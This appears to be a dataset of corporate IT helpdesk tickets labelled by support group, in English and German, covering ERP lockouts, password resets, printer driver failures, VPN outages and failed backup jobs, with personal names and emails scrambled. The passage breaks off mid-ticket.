partner: company gmbh + + + +diese mitteilung ist einzig und allein für die nutzung durch den adressaten bestimmt und kann informationen enthalten, die schutzwürdig, vertraulich oder nach geltendem recht von der offenlegung ausgenommen sind. die verbreitung, verteilung oder vervielfältigung dieser mitteilung durch personen, bei denen es sich nicht um die beabsichtigten empfänger handelt, ist streng verboten. wenn diese mitteilung aufgrund eines versehens bei ihnen eingegangen ist, dann benachrichtigen sie bitte den absender und löschen sie diese mitteilung. + +select the following link to view the disclaimer in an alternate language. +",GRP_59 +"application response time (other network resources work normally) while trying to ship product to usa, i am not getting a put-away ticket. the system is taking an estorage_productly long time to process the transaction, and i am getting an error stating that the update was terminated. +site / location : company usa, ohio +user id (ad) : lilesfhpk +system you are seeing performance problems on (please list all) (e.g., crm, erp, bw, bobj): erp SID_34 +transactions that are slow (e.g., va01, create an order): md04 +area this belongs to (e.g., sales, finance, markhtyeting etc.): production +how can this issue be replicated by the it support group: +are other users seeing this? not sure +please attach relevant screenshots and exact times when the issue occurred: +",GRP_18 +"request for mobile email access _x000D_ +_x000D_ +received from: luxdnsvk.qmnyzcfs@gmail.com_x000D_ +_x000D_ +dear sir,_x000D_ +_x000D_ +attached is the filled wireless mobility policy sheet with my manager approval._x000D_ +kindly enable email access to my mobile._x000D_ +kindly contact me for any information required in this regard._x000D_ +_x000D_ +with best ",GRP_0 +"job Job_2645 failed in job_scheduler at: 09/15/2016 03:30:00 received from: monitoring_tool@company.com_x000D_ +_x000D_ +job Job_2645 failed in job_scheduler at: 09/15/2016 03:30:00",GRP_6 +"computer gets hot _x000D_ +_x000D_ +received from: ucphibmr.dfvkbtsj@gmail.com_x000D_ +_x000D_ +hello,_x000D_ +_x000D_ +my computer is hot and the fan runs all the time so you can hear it._x000D_ +_x000D_ +_x000D_ +mit freundlichen grüßen / best ",GRP_28 +kabel vga tauschen \jionmpsf wnkpzcmv kabel vga tauschen \jionmpsf wnkpzcmv,GRP_24 +"monitor defekt hallo ,_x000D_ +_x000D_ +der monitor von ahmet gök im materiallager macht probleme. _x000D_ +kannst du dir das bitte anschauen._x000D_ +",GRP_24 +install pulverleitstand \tmqfjard qzhgdoua install pulverleitstand \tmqfjard qzhgdoua,GRP_24 +falsche formatierung in pdf \bfqnvezs vwkasnxe falsche formatierung in pdf \bfqnvezs vwkasnxe,GRP_24 +install pulverleitstand \vaigycet jtgmpdcr install pulverleitstand \vaigycet jtgmpdcr,GRP_24 +"job Job_1338 failed in job_scheduler at: 09/15/2016 02:46:00 received from: monitoring_tool@company.com_x000D_ +_x000D_ +job Job_1338 failed in job_scheduler at: 09/15/2016 02:46:00",GRP_9 +"crm complaint no.7611183893 - it ticket required _x000D_ +_x000D_ +received from: wiypaqtu.lmgqbpvi@gmail.com_x000D_ +_x000D_ +hello,_x000D_ +_x000D_ +please raise it ticket on behalf of me for crm complaint no.7611183893 having error and it's not archived to ecc 6_x000D_ +_x000D_ +_x000D_ +with best ",GRP_15 +"login failure - erp user nieghjyukea _x000D_ +_x000D_ +received from: bwvrncih.ibuyfrcq@gmail.com_x000D_ +_x000D_ +good morning team_x000D_ +_x000D_ +i have a problem login into erp, please can you assist?_x000D_ +_x000D_ +kind ",GRP_0 +"erp-engineering tool + +received from: bqapjkcl.ljeakcqf@gmail.com + +please reset my password in erp-engineering tool. + +dipl.-ing.(ba) bqapjkcl ljeakcqf +bqapjkcl.ljeakcqf@gmail.com + + +company shared services gmbh +managing directors/geschäftsführer: phvkowml azbtkqwx, naruedlk mpvhakdq +",GRP_0 +"reenable erp SID_34 account for vvaghjnthl - same as that of henghl + +received from: rxoynvgi.ntgdsehl@gmail.com + +hi it team + +kindly please assist to reset SID_34 password for user: vvaghjnthl. + +hydstheud mddwwyleh +operation supervisor +company distribution services of asia pte ltd + +email : rxoynvgi.ntgdsehl@gmail.com",GRP_2 +"logon balancing error _x000D_ +_x000D_ +received from: wrelsfqa.qfwosjkh@gmail.com_x000D_ +_x000D_ +good morning_x000D_ +_x000D_ +please help. a few of us the south africa office in south africa cannot log into erp. we are all getting "" log on balancing error 88"". it looks like the diginet line is down. it is not effecting everyone._x000D_ +_x000D_ +kind ",GRP_0 +"username: mabelteghj erp logon _x000D_ +_x000D_ +received from: gkerqucv.bqumyrea@gmail.com_x000D_ +_x000D_ +good morning,_x000D_ +_x000D_ +i am not able to log in erp, kindly assist._x000D_ +_x000D_ +kind ",GRP_0 +"erp system + +received from: iksqbuxf.muzxgwvk@gmail.com + +morning +please help syghmesa i can not lock in to erp i did do a shutdown on my computer still not +please please help us at company south africa +",GRP_0 +"erp _x000D_ +_x000D_ +received from: vtzhelgs.ivewqogm@gmail.com_x000D_ +_x000D_ +good morning,_x000D_ +_x000D_ +can you please assist as i cannot log into erp. i receive the following error;_x000D_ +_x000D_ +[cid:image001.png@01d20f27.6d462360]_x000D_ +_x000D_ +",GRP_0 +"re; erp _x000D_ +_x000D_ +received from: btyvqhjw.xbyolhsw@gmail.com_x000D_ +_x000D_ +good day_x000D_ +_x000D_ +trust you are well_x000D_ +please can you help cant lock in to erp give me the 88 code_x000D_ +_x000D_ +",GRP_0 +an terminal 12 bei iso-u können im EU_tool keine zeichnungen mehr aufgerufen werden!! an terminal 12 bei iso-u können im EU_tool keine zeichnungen mehr aufgerufen werden!! diese funktion wird wegen der auftragsbereitstellung benötigt!!!!,GRP_42 + bobj error issue while refreshing the global spend analytics v2 report in bobj,GRP_9 +"job bkwin_tax_interface_qa_daily failed in job_scheduler at: 09/15/2016 00:23:00 received from: monitoring_tool@company.com_x000D_ +[critical] from: bma@HostName_1020.company.company.com ""lib5_drive2"" time: 9/14/2016 11:49:50 pm_x000D_ +[90:1004] device address not found. _x000D_ +_x000D_ +_x000D_ +backup statistics:_x000D_ + _x000D_ + session queuing time (hours) 0.00 _x000D_ + ------------------------------------------- _x000D_ + completed disk agents ........ 11 _x000D_ + failed disk agents ........... 0 _x000D_ + aborted disk agents .......... 0 _x000D_ + ------------------------------------------- _x000D_ + disk agents total ........... 11 _x000D_ + =========================================== _x000D_ + completed media agents ....... 1 _x000D_ + failed media agents .......... 0 _x000D_ + aborted media agents ......... 0 _x000D_ + ------------------------------------------- _x000D_ + media agents total .......... 1 _x000D_ + =========================================== _x000D_ + mbytes total ................. 148763 mb _x000D_ + used media total ............. 1 _x000D_ + disk agent errors total ...... 0 _x000D_ +_x000D_ +job bkwin_tax_interface_qa_daily failed in job_scheduler at: 09/15/2016 00:23:00",GRP_8 +account locked in ad account locked in ad,GRP_0 +"delete the charm 8111117934, since it is no longer required request you to delete the above charm since it is no longer required",GRP_38 +"job pp_EU_tool_netch_ap2 failed in job_scheduler at: 09/14/2016 22:13:00 received from: monitoring_tool@company.com_x000D_ +_x000D_ +job pp_EU_tool_netch_ap2 failed in job_scheduler at: 09/14/2016 22:13:00",GRP_8 +"job bkwin_HostName_770_inc failed in job_scheduler at: 09/14/2016 21:57:00 received from: monitoring_tool@company.com_x000D_ +_x000D_ +[major] from: bsm@HostName_1020.company.company.com ""HostName_770-full-backup"" time: 9/14/2016 9:09:47 pm_x000D_ +[61:3003] lost connection to vbda named ""HostName_770.company.company.com [/e]""_x000D_ + on host HostName_770.company.company.com._x000D_ + ipc subsystem reports: ""ipc read error_x000D_ + system error: [10054] connection reset by peer_x000D_ +_x000D_ +job bkwin_HostName_770_inc failed in job_scheduler at: 09/14/2016 21:57:00",GRP_5 +unable to load engineering_tool on my new 2-1 says that it cannot connect to internet?? see above cell#,GRP_0 +"vpn and vpn will not allow access to erp + +received from: pfzxecbo.ptygkvzl@gmail.com + +this is the second time this week i have had an issue with vpn. vpn was my workaround monday, but it is not working for me either this evening. + +pfzxecbo ptygkvzl +sr analyst, na indirect industrial sales +pfzxecbo.ptygkvzl@gmail.com + + + +",GRP_0 +"engineering_tool phone app _x000D_ +_x000D_ +received from: vjuxfokc.cwhxnoug@gmail.com_x000D_ +_x000D_ +please see attached screenshot of the engineering_tool app._x000D_ +_x000D_ +i am no longer able to check availability as the message ""unable to connect to availability server ""_x000D_ +_x000D_ +i have tried uninstalling and reinstalling but didn't fix the problem?_x000D_ +_x000D_ +is there a known issue?_x000D_ +_x000D_ +it has been like this for a few weeks._x000D_ +_x000D_ +_x000D_ +_x000D_ +_x000D_ +_x000D_ +_x000D_ +",GRP_51 +"can you please remove quyhn mcgudftigre from usa campus calendars as requested from: cwuospin nbhoxqpe +sent: wednesday, september 14, 2016 9:42 pm +to: othybin graceuyt; nwfodmhc exurcwkm +cc: -facility +subject: rakthyesh - re: elt update call + +hello help + +can you please remove quyhn mcgudftigre from usa campus calendars as requested +sincerely, + +stanfghyley guhtykes, fmp +facilities manager +usa campus + +on sep 14, 2016, at 11:23 am, othybin graceuyt wrote: +hello. please check this and see if quyhn's meetings can be removed from the calendar. + +",GRP_26 +"since last security update i have been unable to print anything on the network printers error message asks me if i trust the printer, then tells me i need to download a driver for it. phone number 724-539-4869",GRP_0 +"application response time (other network resources work normally) please provide details in the template below (if multiple applications are impacted, please use the quick ticket template in the ""operations"" folder)._x000D_ +site / location : usa_x000D_ +user id (ad) :steince_x000D_ +system you are seeing performance problems on (please list all) (e.g., crm, erp, bw, bobj):erp SID_34_x000D_ +transactions that are slow (e.g., va01, create an order):va01_x000D_ +area this belongs to (e.g., sales, finance, markhtyeting etc.):order processing_x000D_ +how can this issue be replicated by the it support group:_x000D_ +are other users seeing this? there are 5 remote users_x000D_ +please attach relevant screenshots and exact times when the issue occurred:",GRP_4 +"outlook/crm error + +received from: qjiutmel.fgvtxeoy@gmail.com + +neither crm or outlook will load. i have restarted the pc 3 times. locked up several times while synchronizing with crm + +login: wghjkftewj + +[image1.jpg] +[image2.jpg] + +",GRP_0 +all contacts loaded for imts -existing accounts (214 of them) did not carry all required fields over from erp crm to msd prospect account contacts came over ok. the contacts that came over incorrectly came over through elm ,GRP_40 +"job SID_37hotf failed in job_scheduler at: 09/14/2016 17:05:00 received from: monitoring_tool@company.com_x000D_ +_x000D_ +job SID_37hotf failed in job_scheduler at: 09/14/2016 17:05:00",GRP_5 +"login issue login issue_x000D_ +-verified user details.(employee# & manager name)_x000D_ +-checked the user name in ad and reset the password._x000D_ +-advised the user to login and check._x000D_ +-caller confirmed that he was able to login._x000D_ +-issue resolved.",GRP_0 +office 2013 for qohfjpna exphkims shows activation required we needed to reimage the pc of qohfjpna exphkims (palghjmal1) and now the office 2013 (that comes with the company image from deeghyupak raju) is showing that activation is required. also it shows that leslie account is not associated to that office product. she always had ms office. we just needed to reimage the pc. could you please check her account to fix that? ,GRP_26 +"remove + +received from: kaguhxwo.uoyipxqg@gmail.com + +hi it, +please help remove rujpckto lhutkpxm on themfg_grp group. ",GRP_0 +"error login on to the SID_34 system. error login on to the SID_34 system._x000D_ +-verified user details.(employee# & manager name)_x000D_ +-user has tried the password_management_tool pwd manager._x000D_ +-unlocked and reset the erp id to""daypay3""._x000D_ +-caller confirmed that he was able to login._x000D_ +-issue resolved.",GRP_0 +need to change password and get it synced on system need to change password and get it synced on system,GRP_0 +"outlook not allowing to open emails in the inbox. outlook not allowing to open emails in the inbox._x000D_ +connected to the user system using teamviewer_x000D_ +-sent a uacyltoe hxgaycze mail to the user from the user mailbox._x000D_ +-user confirmed he is able to open it._x000D_ +-advised the user to close and reopen the outllok and check._x000D_ +-caller confirmed that he is now able to see the emails on outlook._x000D_ +-issue resolved.",GRP_0 +external monitors not detecting with dell 2in 1 tablet external monitors not detecting with dell 2in 1 tablet,GRP_0 +erp SID_34 account locked erp SID_34 account locked,GRP_0 +"printer problem / issue information please complete all required questions below. _x000D_ +if not, it will be returned back to the gsc / requester to provide required information_x000D_ +_x000D_ + • gsc to review ticket, if not able to resolve then please assign to appropriate group per your printer problem assignment flowchart._x000D_ +_x000D_ + • printer name / make - model? (ex hq50 – wy98 - hp 8150) - kd05 (hp color laserjet 4600 pcl6)_x000D_ + _x000D_ + • detailed description of the problem ? when i try to send a document to this printer, it says ""driver update needed"" next to printer name. when i click ""print,"" it starts to download drivers, and repeats this several times, before displaying error ""windows cannot print due to a problem with the current printer setup."" i have printed on this printer on my machine before._x000D_ +_x000D_ + • type of documents not printing? (email – excel – word…etc) _x000D_ + (inwarehouse_tool – delivery note – production order…etc) - specifically microsoft word documents, but i have also tried printing emails and excel documents_x000D_ +_x000D_ + • what system or application being used at time of the problem? (ex windows / erp /kls) - microsoft word, microsoft excel, microsoft outlook_x000D_ +_x000D_ + • if not printing at all, does it respond to a ping command on the network and has a power cycle of the printer been completed? - n/a_x000D_ +_x000D_ + • if erp system, which system? (ex SID_34 / SID_38 / hrp / plm) - n/a_x000D_ +_x000D_ + • if it's an erp printer problem can the erp output be rerouted to another erp printer temporarily? - n/a_x000D_ + what printer can it be rerouted too? - n/a_x000D_ +_x000D_ + • if document is not printing correctly, please scan copy of the document and attach to the ticketing_tool ticket.",GRP_3 +erp SID_39 password reset erp SID_39 password reset,GRP_0 +"printer driver error _x000D_ +_x000D_ +received from: sdbcpvtx.hzpctsla@gmail.com_x000D_ +_x000D_ +good afternoon,_x000D_ +_x000D_ +i know it isn't only happening to me but i get this error when i try to print on my normal default printer. it says it needs a driver installed then i get this box. when i try to get a screenshot the 'now printing' box pops up. if i close snipping tool it goes away but pops back up every time i try to use the snipping tool to show you the error._x000D_ +monday bzxljkoy rvoiqthl was getting the same error._x000D_ +_x000D_ +[cid:image001.png@01d20e90.37f2e370]_x000D_ +_x000D_ +_x000D_ +",GRP_0 +pc set up for new employee -mghlisha.baranwfhrty setup laptop for new hire:mghlisha.baranwfhrty ,GRP_19 +wifi issue wifi is not getting connect,GRP_19 +"login issue login issue_x000D_ +-verified user details.(employee# & manager name)_x000D_ +-checked the user name in ad and unlocked the account._x000D_ +-advised the user to login and check._x000D_ +-caller confirmed that she was able to login._x000D_ +-issue resolved.",GRP_0 +"spam email from: vmqcyzda kgvrfwcj +sent: wednesday, september 14, 2016 8:00 pm +to: ron port; nwfodmhc exurcwkm +cc: tjlizqgc ngvwoukp; ytqhfmwi itnakpmc; billghj dhjuyick; lipfnxsy rvjlnpef +subject: amar - fw: summit meeting +importance: high + + +help desk, +this email is not legit and it looks like it's for the upcoming business practice summit. + +best ",GRP_0 + pc set up for new employee : pc set up for new employee :krisyuhnyrtkurtyar .kghpanhjuwdian,GRP_19 +pdf printer i want software to print documents to pdf,GRP_19 +change the old pc configure the new laptop and remove the old pc,GRP_19 +frequent account lockout my account is getting locked frequently. worked with gso many times on the same and still the same. please check from your end. ,GRP_2 +mii uacyltoe hxgaycze from lacw8515941 : duration is high for loading as 60.69 s and refresh loaded 5.11 s mii uacyltoe hxgaycze from lacw8515941 : duration is high for loading as 39.69 s and refresh loaded 5.11 s ,GRP_14 +"approved expense report date range error ess portal +expense report 3111110041 approved with wrong date range showing 8/6/16 - 9/16/16 and needs to say 8/6/16-8/12/16 +need to change dates in order to enter in an expense report for dates ranging 8/22/16-8/25/16",GRP_10 +"unable to host a skype meeting from a conference room unable to host a skype meeting from a conference room + +",GRP_0 +vip2: printer driver update vip2: printer driver update,GRP_0 +"erp user blocked, please unlock immediately & extend the account if necessary - tomorrow is our py run + +received from: lixwgnto.krutnylz@gmail.com + +please unlock user ghjvreicj immediately in erp and extend the account to 31 dec 16. +it is immediately needed – tomorrow is our py run!!!! + +von: tszvorba wtldpncx [mailto:jreichard@ppstrixner.de] +gesendet: mittwoch, 14. september 2016 16:57 +an: nkjtoxwv wqtlzvxu +cc: lixwgnto krutnylz +betreff: in erp gesperrt - bitte dringend wieder frei schalten +wichtigkeit: hoch + +hallo herr hohgajnn, + +ich wollte mich eben ein weiteres mal anmelden und habe auch sicher die korrekten anmeldedaten eingegeben. +leider bin ich nun gesperrt. +in anbetracht der bevorstehenden abrechnung benötige ich dringend eine freischaltung in erp. + +vielen dank im voraus und viele grüße + + +tszvorba wtldpncx +teamleitung + +[logo neu final klein] + +personal partner strixner gmbh + + + +[cid:image005.jpg@01d20ea9.0c16ac00] + + + + + + +diese mitteilung ist einzig und allein für die nutzung durch den adressaten bestimmt und kann informationen enthalten, die schutzwürdig, vertraulich oder nach geltendem recht von der offenlegung ausgenommen sind. die verbreitung, verteilung oder vervielfältigung dieser mitteilung durch personen, bei denen es sich nicht um die beabsichtigten empfänger handelt, ist streng verboten. wenn diese mitteilung aufgrund eines versehens bei ihnen eingegangen ist, dann benachrichtigen sie bitte den absender und löschen sie diese mitteilung. +[#+company/posts> [ +select the following link to view the disclaimer in an alternate language. ",GRP_0 +password reset from password_management_tool password reset from password_management_tool,GRP_0 +password reset password reset,GRP_0 +"problem with printing _x000D_ +_x000D_ +received from: iqcylpok.ascpqvni@gmail.com_x000D_ +_x000D_ +hello,_x000D_ +_x000D_ +i am unable to print to the network printers in my area. i get pop ups to install the drivers but then there is an error. please help!_x000D_ +_x000D_ +",GRP_0 +"pricing error on order number 35022202. we are unable to change the price on the order number 35022202. can you please help us fix this issue before the inwarehouse_tool is created tonight. _x000D_ +",GRP_13 +erp SID_39 password reset erp SID_39 password reset,GRP_0 +"reset the password for ahydmrbu fjymgtvo on other / telephony_software hello,_x000D_ +could you please reset my password to telephony_software supervisor system?_x000D_ +",GRP_7 +"account locked in ad name:afplnyxb eiomnuba +language: +browser:microsoft internet explorer +email:afplnyxb.eiomnuba@gmail.com +customer number: +telephone: +summary:the password for my vpn is blokker again. +can you please reset teh password? username is vanghtydec +do i have to change the password after you have unlocked it?",GRP_0 +":unable to log on to outlook this morning unable to log on to outlook this morning_x000D_ +_x000D_ +microsoft crm add-in was corrupted",GRP_0 +"unable to get skype calls name:bixsapwu lcamiopz +language: +browser:microsoft internet explorer +email:bixsapwu.lcamiopz@gmail.com +customer number: +telephone: +summary:is there a reason that skype will not call me at a conference room in the usa campus",GRP_0 +"power outage: vogelfontein ,sa vpn circuit is down at 9:47 am et on 09/14. site is up on primary. what type of outage: _____network ___x__circuit _____power (please specify what type of outage)_x000D_ +_x000D_ +1. top 23 cert site ? ____no_____ (yes/no/na) _x000D_ +_x000D_ +2. when did it start ? ______ 9:47 am et on 09/14________________x000D_ +_x000D_ +3. scheduled maintenance ( power) ? __no_____ (yes/no/na) company power _________ provider power __________x000D_ + _x000D_ +4. scheduled maintenance ( network) ? ___no____ (yes/no/na) company maint________ (yes/no) provider maint/ticket #__________________ _x000D_ +_x000D_ +5. does site have a backup circuit ? ___yes___ (yes/no/na) _x000D_ +_x000D_ +6. backup circuit active ? ___yes_____ (yes/no/na) _x000D_ +_x000D_ +7. site contact notified (phone/email) ? _________ (yes/no/na) _x000D_ +_x000D_ +8. remote dial-in ? _____na______ (yes/no/na) _x000D_ +_x000D_ +9. equipment reset ? ____na_______ (yes/no/na) _x000D_ +_x000D_ +10. verified site working on backup circuit ? ____yes___ (yes/no/na) _x000D_ +_x000D_ +11. vendor ticket # ( global_telecom_1, verizon, telecom_vendor_1, telecom_vendor_2 ) _________________________ _x000D_ +_x000D_ +12. notified gsc ________ (yes/no/na) cert started ?________ (yes/no/na) _x000D_ +_x000D_ +13. additional diagnostics",GRP_8 +"update user to interaction desktop update user to interaction desktop_x000D_ +ypdhesrq eotjzyxm_x000D_ +rqll8516072 ",GRP_7 +"infotype 0017 for 2016-09-01 does not exist for personal no 5650555 infotype 0017 for 2016-09-01 does not exist for personal no 5650555 + +phone: +",GRP_10 +"unable to install the gd&t font name: ovxwqybe gevzkrlp +email: ovxwqybe.gevzkrlp@gmail.com +telephone: +summary: need gd&t font installed",GRP_3 +"re: ticket_no1533125 -- comments added + +received from: pfzxecbo.ptygkvzl@gmail.com + +screen prints are attached to highlight the same fields i had listed in the spreadsheet provided. + +this is a live SID_1 example that can be reviewed, incase you werent aware. +[cid:image005.jpg@01d20e69.4b484c70] +[cid:image006.jpg@01d20e69.4b484c70] +[cid:image008.jpg@01d20e69.4b484c70] + +[cid:image012.jpg@01d20e69.4b484c70] + +from: pfzxecbo ptygkvzl +sent: friday, september 09, 2016 3:56 pm +to: company@ticketing_tool.com +cc: raghfhgh gowhjtya +subject: re: ticket_no1533125 -- comments added + +example attached. + +SID_1- v-11119004 + +if there are any questions, please let me know.",GRP_9 +SID_78user locked out SID_78user locked out,GRP_0 +mii update mii update,GRP_0 +unable to login to vpn unable to login to vpn as the page stopped at checking antivirus client ,GRP_0 +"error - failed to reset cached password. locked and unlocked the pc with the new password._x000D_ +updated password for email access and companysecure on cell phone",GRP_0 +"vmsliazh ltksxmyv edksm005 please change schedule of job ""import complete erp data (nightly)"" the files at 0:30 h seems to have missing records. later files seems to be complete _x000D_ +the nightly update for milano runs at 3:30 too - this simplyfies support_x000D_ +_x000D_ +please change the values in the field ""occurs once at"" and starting at in the attached schedule picture from 0:30 to 3:30 h_x000D_ +_x000D_ +",GRP_49 +"speakers not working, issue: speakers are not working._x000D_ +troubleshooting:-_x000D_ +-ran hardware troubleshooter got the message that no speaker, hehr_toolhone connected to device._x000D_ +-checked in device manager realtek audio driver was installed tried updating it, but no update available._x000D_ +-tried downloading driver from dell.com/support but as speaker is not installed in the system unable to install any driver._x000D_ +-checked playing an audio using earphone and it worked fine, confirming its an issue with the hardware._x000D_ +_x000D_ +conclusion: either speaker is not installed or is not working",GRP_19 +outlook not responding after crm sync. outlook not responding after crm sync.,GRP_0 +reset prtgghj4k password please reset my prtgghj4k password.,GRP_0 +"can not print to tc 28 or tc19 on HostName_769 since the mandatory it reboot on monday trkwehzg pqjrhsul and i have been unable to print to tc28. i tried tc19 this morning and was also unsuccessful. when attempting to print, a dialogue box pops up and copies some dll files to the c:\ drive. then an error message pops up saying ""there was an error when printing started. check printer setup in windows control panel."" i tried to update the driver from the control panel and the same dll files are downloaded as when i attempt to print. i've tried printing from several applications (outlook, excel, adobe reader) with no success. other users are still able to print to the printer, it just spit out an erp order from one of the engineers._x000D_ +_x000D_ +",GRP_0 +skype audio functionality is not working as per expected skype audio functionality is not working as per expected,GRP_26 +"locked out of SID_37. please reset password system (SID_34, SID_37, SID_39, SID_38, hrp, other ?):_x000D_ +_x000D_ +enter user id of user having the issue:_x000D_ +_x000D_ +transaction code(s) the user needs or was working with:_x000D_ +_x000D_ +describe the issue:_x000D_ +_x000D_ +if you are getting a ""not authorized"" message, recreate the condition then do /nsu53 and attach result to the ticketing_tool ticket._x000D_ +_x000D_ +provide access the same as this other user:",GRP_2 +"outlook password prompt microsoft connectivity analyzer software confirms that the software is too old to support._x000D_ +downloading and installing the service pack fails - no supported software found._x000D_ +repaired ms office installation, cleared credentials manager, deleted profile, and contents of app data, local, ms, outlook, restarted pc._x000D_ +microsoft office 2010 version ",GRP_0 +"erp issue for invoicing, insufficient stock mm#2247736 even though there is inventory available. customer service at usa, issues sales orders for acct #81254672. consignment inventory shows stock but there may be a batch block that prevents them from allocating inventrtgoy for billing purposes. there is something odd with mm2247736, mb58, erp. this is maghyuigie ghjkzalez, ph . ",GRP_13 +can't open attached inwarehouse_tools with opentext at erp - see attachment can't open attached inwarehouse_tools with opentext at erp - see attachment,GRP_0 +"transfer tool trial reports from old laptop to new laptop _x000D_ +_x000D_ +received from: jkpwisnf.lgpdyncm@gmail.com_x000D_ +_x000D_ +hello_x000D_ +could you please help me in subjected case._x000D_ +_x000D_ +",GRP_0 +"mobile phone no e-mail receipt for user jkuaslxe hrodszpl and gezpktrq opkqwevj + +would you please contact above users as they are currently not receiving e-mails on their mobile phone. +jkuaslxe hrodszpl +gezpktrq opkqwevj + +please note that they are currently travelling outside of germany.",GRP_63 +mii not working mii is taking more than 5 min to load. when it does load everyone is getting a br error (attached),GRP_0 +"wl43 scanner not working. wl43 scanner not working. printer is working fine. only the scanner is not working. + +phone: ",GRP_33 +"file server not functioning the lights at the back of one of the file servers on site is not blinking._x000D_ +part of the plant does not access to network resources._x000D_ +_x000D_ +please help check._x000D_ +_x000D_ +local file servers_x000D_ +_x000D_ +\\HostName_1259 - _x000D_ +\\lrrsm007 - _x000D_ +\\HostName_1260_x000D_ +_x000D_ +contact # 252 536 5209",GRP_12 +"shop_floor_app password misplaced. name:deghjick culghjn +language: +browser:microsoft internet explorer +email:cizplrvw.ymxgteir@gmail.com +customer number: +telephone +summary:i have forgotten my password to shop_floor_app",GRP_43 +account unlock account unlock,GRP_0 +the erp - mii HostName_343 : jstart.exe service is showing as critical. the erp - mii HostName_343 : jstart.exe service is showing as critical.,GRP_14 +"mii technical error across usa location. :in usa we are receiving a technical error on the mii system and i cannot even log off + +contact number: ",GRP_41 +"bearbeitung der aktuellen situation nicht möglich _x000D_ +_x000D_ +received from: znqlmjvt.uhyokzlt@gmail.com_x000D_ +_x000D_ +hallo,_x000D_ +_x000D_ +das file ist unter folgenden link verfügbar._x000D_ +_x000D_ +_x000D_ +seit heute früh ist es nicht mehr möglich die datei zu bearbeiten, da folgende fehlermeldung beim öffnen der datei eingeblendet wird._x000D_ +_x000D_ +[cid:image002.png@01d20e87.e5b872d0]_x000D_ +_x000D_ +_x000D_ +_x000D_ +mit freundlichen grüssen / best ",GRP_16 +mii uacyltoe hxgaycze from lacw8515941 : duration is high for loading as 39.69 s and refresh loaded 19.11 s mii uacyltoe hxgaycze from lacw8515941 : duration is high for loading as 39.69 s and refresh loaded 19.11 s ,GRP_8 +"erp mii is not functioning. erp mii is not functioning in raonoke rapids. employees are unable to use the software to clock out. software is locked. + +phone: ",GRP_41 +bnsh0901 account unlock in erp SID_34 bnsh0901 account unlock in erp SID_34,GRP_0 +windows account lockout windows account lockout,GRP_0 +"business_client not responding _x000D_ +_x000D_ +received from: rjanhbde.owfkyjcp@gmail.com_x000D_ +_x000D_ +hello…_x000D_ +_x000D_ +refer the below screen shot…._x000D_ +_x000D_ +_x000D_ +[cid:image003.jpg@01d20ea1.751c5400]_x000D_ +_x000D_ +_x000D_ +_x000D_ +warm ",GRP_0 +"job pp_EU_tool_netch_ap1 failed in job_scheduler at: 09/14/2016 06:09:00 received from: monitoring_tool@company.com_x000D_ +_x000D_ +job pp_EU_tool_netch_ap1 failed in job_scheduler at: 09/14/2016 06:09:00",GRP_8 +"printer problem / issue information i am trying to print to tc78 on hqntn06. drivers need updated. please complete all required questions below. _x000D_ +if not, it will be returned back to the gsc / requester to provide required information_x000D_ +_x000D_ + • gsc to review ticket, if not able to resolve then please assign to appropriate group per your printer problem assignment flowchart._x000D_ +_x000D_ + • printer name / make - model? (ex hq50 – wy98 - hp 8150) tc78 on hqntn06_x000D_ + _x000D_ + • detailed description of the problem ? drivers need updated, but will not load._x000D_ +_x000D_ + • type of documents not printing? (email – excel – word…etc) all_x000D_ + (inwarehouse_tool – delivery note – production order…etc)_x000D_ +_x000D_ + • what system or application being used at time of the problem? (ex windows / erp /kls) windows_x000D_ +_x000D_ + • if not printing at all, does it respond to a ping command on the network and has a power cycle of the printer been completed? no_x000D_ +_x000D_ + • if erp system, which system? (ex SID_34 / SID_38 / hrp / plm)_x000D_ +_x000D_ + • if it's an erp printer problem can the erp output be rerouted to another erp printer temporarily?_x000D_ + what printer can it be rerouted too? _x000D_ +_x000D_ + • if document is not printing correctly, please scan copy of the document and attach to the ticketing_tool ticket.",GRP_0 +"vpn issue _x000D_ +_x000D_ +received from: cobsfvjz.apkqmrdu@gmail.com_x000D_ +_x000D_ +dear sir/madam_x000D_ +_x000D_ +i am not able to connect to vpn ._x000D_ +_x000D_ +please address ._x000D_ +_x000D_ +also install the new apvpn as well ._x000D_ +_x000D_ +",GRP_0 +ng_ff90 account unlock in erp SID_34 ng_ff90 account unlock in erp SID_34,GRP_0 +barcodescanner an eemw8144133 defekt - bitte austauschen barcodescanner an eemw8144133 defekt - bitte austauschen. pc befindet sich im anlagenbereich cvd,GRP_42 +unable to print. need a driver update. unable to print. need a driver update.,GRP_0 +unable to print. driver not updating. unable to print. driver not updating.,GRP_0 +"job Job_593 failed in job_scheduler at: 09/14/2016 04:54:00 received from: monitoring_tool@company.com_x000D_ +_x000D_ +job Job_593 failed in job_scheduler at: 09/14/2016 04:54:00",GRP_8 +"install vlc _x000D_ +_x000D_ +received from: kxmidsga.zokivdfa@gmail.com_x000D_ +_x000D_ +dear sir,_x000D_ +please install vlc player in my system. i am not able to play some products demonstrations in wmp._x000D_ +_x000D_ +",GRP_0 +"job bkbackup_tool_sql_prod_inc failed in job_scheduler at: 09/14/2016 04:52:00 received from: monitoring_tool@company.com_x000D_ +_x000D_ +job bkbackup_tool_sql_prod_inc failed in job_scheduler at: 09/14/2016 04:52:00",GRP_8 +service kit 8150 für we01 liefern \hcuixqgj mavxgqbs service kit 8150 für we01 liefern \hcuixqgj mavxgqbs,GRP_24 +probleme mit office365 \dtlmbcrx mwuateyx probleme mit office365 \dtlmbcrx mwuateyx,GRP_24 +probleme mit chargenverwaltung \tmqfjard qzhgdoua probleme mit chargenverwaltung \tmqfjard qzhgdoua,GRP_24 +probleme mit chargenverwaltung \howfanzi siavgtby probleme mit chargenverwaltung \howfanzi siavgtby,GRP_24 +setup new ws \uadkqcsj xtmjlari setup new ws \uadkqcsj xtmjlari,GRP_24 +need assistance to transfer elengineering toolonic amb show ticket onto my company iphone need assistance to transfer elengineering toolonic amb show ticket onto my company iphone,GRP_28 +"job Job_499 failed in job_scheduler at: 09/14/2016 04:37:00 received from: monitoring_tool@company.com_x000D_ +_x000D_ +job Job_499 failed in job_scheduler at: 09/14/2016 04:37:00",GRP_8 +"excel issue _x000D_ +_x000D_ +received from: anuxbyzg.bvsqcjkw@gmail.com_x000D_ +_x000D_ +not able to open an excel file with the following error message:_x000D_ +_x000D_ +[cid:image003.jpg@01d20e72.fd691a70]_x000D_ +_x000D_ +route of the file: [cid:image004.png@01d20e72.fd691a70]_x000D_ +_x000D_ +gruß ",GRP_16 +"freischaltung des ordners ""ce ap daten"" im laufwerk departmenst \\HostName_579 (m:) bitte für oben genannten ordner schreib- und leserecht freischalten. der 